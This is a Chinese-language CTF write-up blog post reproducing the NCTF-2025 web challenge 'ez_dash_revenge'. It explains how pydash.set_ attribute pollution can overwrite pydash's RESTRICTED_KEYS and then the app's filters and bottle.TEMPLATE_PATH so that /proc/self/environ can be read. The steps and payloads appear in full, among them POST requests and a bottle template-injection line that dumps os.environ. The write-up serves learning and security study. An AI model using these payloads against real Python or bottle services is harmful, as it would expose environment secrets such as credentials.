NCTF-2025 web 复现

前言
打不动,不过题目质量还是很好的,可以学到东西
ez_dash_revenge
pydash.set_的原型链污染问题
1 | ''' |
看了好久,关键在于
1 | obj=globals()[name] |
利用pydash去污染一些东西,但是需要绕过限制
name不能超过6个字符,加上被禁用的bottle,显然我们能够加以利用的只有全局的pydash
,setval
了
我们可以尝试一下,是可以通过setval来获取当前文件的全局对象的,而pydash获取到的是它模块自己的全局对象
1 | print(setval.__globals__["bottle"]) |
1 | print(setval.__globals__["__forbidden_name__"]) |
我们可以跟进set_查看一下它是怎么使用的
1 | def set_(obj: T, path: PathT, value: t.Any) -> T: |
不过注意,这里的path是不支持a.dict[‘x’].c这样的键的!(踩坑了)
我们一路跟进去了解set_的逻辑是怎么实现的
1 | set_->set_with->update_with->base_set |
1 | helpers.py |
我们发现这里的key也就是我们的path,是禁用了__globals__
的!
因此如下代码是无法执行的
1 | pydash.set_(setval, "__globals__.__forbidden_name__", '') |
虽然说pydash内部禁用了__globals__
,但是pydash.set_
是我们完全在我们操控之下的
所以我们就可以通过pydash.set_
,把pydash的RESTRICTED_KEYS给改了!这样我们就可以通过setval.__globals__
去修改waf了
1 | pydash.set_(pydash, "helpers.RESTRICTED_KEYS", '') |
可见输出为空,接着我们就开始污染即可,同理把setval.__globals__.__forbidden_path__
和setval.__globals__.__forbidden_name__
给改了,30个字符,不超过限制
1 | POST /setValue?name=pydash |
因为题目提示flag在环境变量中,而我们只能污染字面量,我们查看bottle模块代码
1 | ############################################################################### |
发现TEMPLATE_PATH似乎是可以利用的点,让render的时候,可以显示我们想要的路径,于是我们把bottle.TEMPLATE_PATH改为/proc/self
1 | POST /setValue?name=bottle HTTP/1.1 |
最后访问,即可
1 | http://.../render?path=environ |
后记
原来出题对template基本没有ssti的过滤,稍微看看bottle的是怎么渲染的就可以直接打ssti了
1 | % raise getattr(__import__('bottle'), 'HTTPResponse')(str(getattr(__import__('os'), 'environ'))) |
- 标题: NCTF-2025 web 复现
- 作者: OneZ3r0
- 创建于 : 2025-03-25 15:00:24
- 更新于 : 2025-07-29 18:03:58
- 链接: https://blog.onez3r0.top/2025/03/25/nctf-2025-reproduction/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。